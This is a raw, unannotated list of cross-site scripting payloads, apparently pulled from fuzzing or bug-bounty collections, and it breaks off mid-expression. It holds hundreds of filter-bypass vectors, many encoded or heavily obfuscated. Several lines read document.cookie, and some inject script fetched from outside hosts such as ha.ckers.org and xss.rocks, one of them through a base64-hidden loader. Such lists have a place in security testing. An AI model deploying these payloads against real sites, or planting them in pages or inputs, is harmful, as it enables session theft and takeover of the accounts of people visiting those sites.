%3Cbody%20onload%3D%60alert%28%2FXSS%2F%29%60%3E%3C%2Fbody%3E %3Cdiv%20style%3D%22width%3A%20expression%28alert%28%2FXSS%2F%29%29%3B%22%3E%3C%2Fdiv%3E %3Cbutton%20onclick%3D%60alert%28%2FXSS%2F%29%60%3EClick%20me%3C%2Fbutton%3E %3Cform%20action%3D%22javascript%3Aalert%28%2FXSS%2F%29%22%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E %3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Djavascript%3Aalert%28%2FXSS%2F%29%22%3E %3Csvg%20onload%3D%60alert%28%60XSS%60%29%60%3E %3Cimg%20src%3Dx%20onerror%3D%60alert%28%60XSS%60%29%60%3E %3Cbody%20onload%3D%60alert%28%60XSS%60%29%60%3E %3Ciframe%20src%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3C%2Fiframe%3E %3Cinput%20onfocus%3D%60alert%28%60XSS%60%29%60%3E %3Cbutton%20onclick%3D%60alert%28%60XSS%60%29%60%3EClick%3C%2Fbutton%3E %3Cform%20action%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E %3Cobject%20data%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3C%2Fobject%3E %3Cembed%20src%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E %3Ciframe%20srcdoc%3D%60%3Cscript%3Ealert%28%60XSS%60%29%3C%2Fscript%3E%60%3E%3C%2Fiframe%3E console.log(document.domain) <img src="" onerror="alert(document.cookie)"> <img src="abc" onerror="alert(1)"> =a=document.domain;top["al"%2b"ert"](/%2a%2a/a)> a=document.domain;top["al"%2b"ert"](/%2a%2a/a)> xss=*/prompt("XSS")/*& <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> <dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x> %09Jav%09ascript:alert(document.domain) javascript://%250Alert(document.location=document.cookie) /%09/javascript:alert(1); javascript:confirm(1) <math><style><img src onerror=alert(2)></style></math> <img/src/onerror=alert/*1337*/(1)> <script>alert(/Chrome%20XSS%20filter%20bypass/);</script> javascript:document.getElementsByTagName(%60body%60)%5B0%5D.innerHTML=%60%3Ch1%3Ehacked%3C/h1%3E%60// "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veTEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veTEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw==> ”><svg onload=alert("1")> "><svg onload=alert@"1")> "><svg onload=alert&amp;#x00000040"1")> "><svg onload=alert&gt;#x00000040"1")> "><svg onload=alert"#x00000040"1")> "><svg onload=alert&#x27;#x00000040"1")> "><svg onload=alert/#x00000040"1")> "><svg onload=alert&amp;#x27;#x00000040"1")> "><svg onload=alert&#x2F;#x00000040"1")> "><svg onload=alert&#x2F;#x00000040"1")> "><img%20src=x%20onerror="alert(%27POC%20By%20DrakenKun%27)" asdf"onload%3d"alert('Slax Was Here!')"asdf {{$emit.constructor`alert(1)`()}} <x @click=_withCtx.constructor`alert(1)`()>click</x> <a href=”javas cript:alert(document.cookie)” >Testing.com </a> "><img src="x" > page=1"><Svg Only=1 OnLoad=confirm(document.domain)> ' onfocus='alert(1)' "><Svg Only=1 OnLoad=confirm(document.domain)> "%2F><%2Fscript><script>alert%28document.cookie%29<%2Fscript> %2527%2520onmouseover%253D%2527alert%25281%2529%2527%2520 <svg+onload%3dprompt%26%230000000040document.domain)> {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}} <A HREF="http://0102.0146.0007.00000223/">XSS</A> <A HREF="htt p://6 6.000146.0x7.147/">XSS</A> <iframe src="	javascript:prompt(1)	"> <svg><style>{font-family:'<iframe/onload=confirm(1)>' <sVg><scRipt >alert(1) {Opera} <img/src=`` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript:confirm(1)" <img src=``
 onerror=alert(1)
 <script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /**/>/**/alert(1)/**/</script /**/ "><h1/onmouseover='\u0061lert(1)'> <iframe/src="data:text/html,<svg onload=alert(1)>"> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <form><a href="javascript:\u0061lert(1)">X </script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'> <img/	  src=`~` onerror=prompt(1)> <form><iframe 	  src="javascript:alert(1)" 	;> <a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	 >X</a http://www.google<script .com>alert(document.location)</script <a href=[�]"� onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ </style  ><script   :-(>/**/alert(document.location)/**/</script   :-( �</form><input type="date" onfocus="alert(1)"> <form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'> <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ <iframe srcdoc='<body onload=prompt(1)>'> <a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a> <script ~~~>alert(0%0)</script ~~~> <style/onload=<!--	> alert (1)> <///style///><span %2F onmousemove='alert(1)'>SPAN <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=	prompt(1) "><svg><style>{-o-link-source:'<body/onload=confirm(1)>' <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} <marquee onstart='javascript:alert(1)'>^__^ <div/style="width:expression(confirm(1))">X</div> {IE7} <iframe// src=javaSCRIPT:alert(1) //<form/action=javascript:alert(document.cookie)><input/type='submit'>// /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style> <a/href="javascript: javascript:prompt(1)"><input type="X"> </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera} <a href="javascript:\u0061le%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT:alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <var onmouseover="prompt(1)">On Mouse Over</var> <a href=javascript:alert(document.cookie)>Click Here</a> <%<!--'%><script>alert(1);</script --> <input value=<><iframe/src=javascript:confirm(1) http://www.<script>alert(1)</script .com <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe> <svg><script ?>alert(1) <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> <img src=`xx:xx`onerror=alert(1)> <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <math><a xlink:href="//jsfiddle.net/t846h/">click <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <svg contentScriptType=text/vbs><script>MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script <object data=javascript:\u0061le%72t(1)> <script>+-+-1-+-+alert(1)</script> <script itworksinallbrowsers>/*<script* */alert(1)</script <img src ?itworksonchrome?\/onerror = alert(1) <svg><script>//
confirm(1);</script </svg> <svg><script onlypossibleinopera:-)> alert(1) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <div/onmouseover='alert(1)'> style="x:"> <--`<img/src=` onerror=alert(1)> --!> <script/src=data:text/javascript,alert(1)></script> <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> "><img src=x onerror=window.open('https://www.google.com/');> <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object> <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>> <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe> 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> <x style="behavior:url(%(sct)s)"> <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> <event-source src="%(event)s" onload="javascript:alert(1)"> <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>"> <script>%(payload)s</script> <script src=%(jscript)s></script> <script language='javascript' src='%(jscript)s'></script> <script>javascript:alert(1)</script> <IMG SRC="javascript:javascript:alert(1);"> <IMG SRC=javascript:javascript:alert(1)> <IMG SRC=`javascript:javascript:alert(1)`> <SCRIPT SRC=%(jscript)s?<B> <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> <BODY ONLOAD=javascript:alert(1)> <BODY ONLOAD=javascript:javascript:alert(1)> <IMG SRC="jav ascript:javascript:alert(1);"> <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)> <SCRIPT/SRC="%(jscript)s"></SCRIPT> <<SCRIPT>%(payload)s//<</SCRIPT> <IMG SRC="javascript:javascript:alert(1)" <iframe src=%(scriptlet)s < <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> <IMG DYNSRC="javascript:javascript:alert(1)"> <IMG LOWSRC="javascript:javascript:alert(1)"> <BGSOUND SRC="javascript:javascript:alert(1);"> <BR SIZE="&{javascript:alert(1)}"> <LAYER SRC="%(scriptlet)s"></LAYER> <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> <STYLE>@import'%(css)s';</STYLE> <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet"> <XSS STYLE="behavior: url(%(htc)s);"> <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> <TABLE BACKGROUND="javascript:javascript:alert(1)"> <TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> <DIV STYLE="background-image: url(javascript:javascript:alert(1))"> <DIV STYLE="width:expression(javascript:alert(1));"> <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"> <XSS STYLE="xss:expression(javascript:alert(1))"> <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> <BASE HREF="javascript:javascript:alert(1);//"> <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML> <SCRIPT SRC="%(jpg)s"></SCRIPT> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"> <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE> <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&> <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> <style onreadystatechange=javascript:javascript:alert(1);></style> <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html> <embed code=%(scriptlet)s></embed> <embed code=javascript:javascript:alert(1);></embed> <embed src=%(jscript)s></embed> <frameset onload=javascript:javascript:alert(1)></frameset> <object onerror=javascript:javascript:alert(1)> <embed type="image" src=%(scriptlet)s></embed> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> <IMG SRC=&{javascript:alert(1);};> <a href="javAascript:javascript:alert(1)">test1</a> <a href="javaascript:javascript:alert(1)">test1</a> <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed> <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>"> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> '';!--"<XSS>=&{()} <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=JaVaScRiPt:alert('XSS')> <a onmouseover="alert(document.cookie)">xxs link</a> <a onmouseover=alert(document.cookie)>xxs link</a> <IMG SRC= onmouseover="alert('xxs')" `"'><img src=xxx:x onerror\x09=javascript:alert(1)> <script>javascript:alert(1)<\x00/script> <img src=# onerror\x3D"javascript:alert(1)" > <input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus> <video poster=javascript:javascript:alert(1)// <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X <video><source onerror="javascript:javascript:alert(1)"> <video onerror="javascript:javascript:alert(1)"><source> <form><button formaction="javascript:javascript:alert(1)">X <body oninput=javascript:alert(1)><input autofocus> <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> <frameset onload=javascript:alert(1)> <table background="javascript:javascript:alert(1)"> <!--<img src="--><img src=x onerror=javascript:alert(1)//"> <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> <![><img src="]><img src=x onerror=javascript:alert(1)//"> <style><img src="</style><img src=x onerror=javascript:alert(1)//"> <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> <object data="data:text/html;base64,%(base64)s"> <embed src="data:text/html;base64,%(base64)s"> <b <script>alert(1)</script>0 <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> <embed src="javascript:alert(1)"> <img src="javascript:alert(1)"> <image src="javascript:alert(1)"> <script src="javascript:alert(1)"> <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x <? foo="><script>javascript:alert(1)</script>"> <! foo="><script>javascript:alert(1)</script>"> </ foo="><script>javascript:alert(1)</script>"> <? foo="><x foo='?><script>javascript:alert(1)</script>'>"> <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> <% foo><x foo="%><script>javascript:alert(1)</script>"> <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> <object onError object onError="javascript:javascript:alert(1)"></object onError> <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> <body onload body onload="javascript:javascript:alert(1)"></body onload> <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> <script>javascript:alert(1)</script\x0D <script>javascript:alert(1)</script\x0A <script>javascript:alert(1)</script\x0B <script charset="\x22>javascript:alert(1)</script> --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> `"'><img src='#\x27 onerror=javascript:alert(1)> <svg/onload=alert(1)> </tag><svg onload=alert(1)> "></tag><svg onload=alert(1)> </script><svg onload=alert(1)> “><img onerror=alert(1) src> <img src='x' onerror='alert(1)'> %00<script>alert(1)</script> %00<script>alert(1);</script> </Textarea/</Noscript/</Pre/</Xmp><Svg/Onload=confirm(document.domain)>”<script/src=//15.rs></script><script src=//⑮.₨></script> * document.createElement('div').innerHTML = "<img src=1 onerror=alert()> SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"> <IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`> <IMG SRC=javascript:alert("XSS")> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=\"javascript:alert('XSS');\"> <iframe src=http://ha.ckers.org/scriptlet.html> <IMG SRC=\"javascript:alert('XSS')\" <SCRIPT SRC=//ha.ckers.org/.js> <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> ;alert(String.fromCharCode(88,83,83))// ></SCRIPT> > ><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <IMG ><SCRIPT>alert( XSS )</SCRIPT> > <IMG SRC= jav ascript:alert( XSS ); > <IMG SRC= jav	ascript:alert( XSS ); > <<SCRIPT>alert( XSS );//<</SCRIPT> %253cscript%253ealert(1)%253c/script%253e ><s %2b cript>alert(document.cookie)</script> <iframe SRC="javascript:alert('XSS');" < <iframe SRC="javascript:alert('XSS');" // >alert(1)</script> <scr\x00ipt>alert(1)</scr\x00ipt> <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` // <input type=image src onerror="prompt(1)"> <a href="javascript:var a=''-alert(1)-''">a</a> <a href="javascript:alert(2)">a</a> <a href="javascript:alert(3)">a</a> '-alert(1)-' javascript:alert(1) javascript:alert(1) javascript:alert(1) javascriptΪlert(1) data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg <svg %09onload=alert(1)> <svg onload%09%20%28%2c%3b=alert(1)> ';alert(document.domain)// <svg><script>alert('1') <svg><script>alert(1)</script></svg> <svg////////onload=alert(1)> <svg id=x;onload=alert(1)> <svg id=`x`onload=alert(1)> <img src=1 alt=al lang=ert onerror=top[alt+lang](0)> <script>$=1,alert($)</script> <script ~~~>confirm(1)</script ~~~> <script>$=1,\u0061lert($)</script> <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script> <</script/script><script ~~~>\u0061lert(1)</script ~~~> </style></scRipt><scRipt>alert(1)</scRipt> <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)> <img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);"> (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) <script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script> <script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + 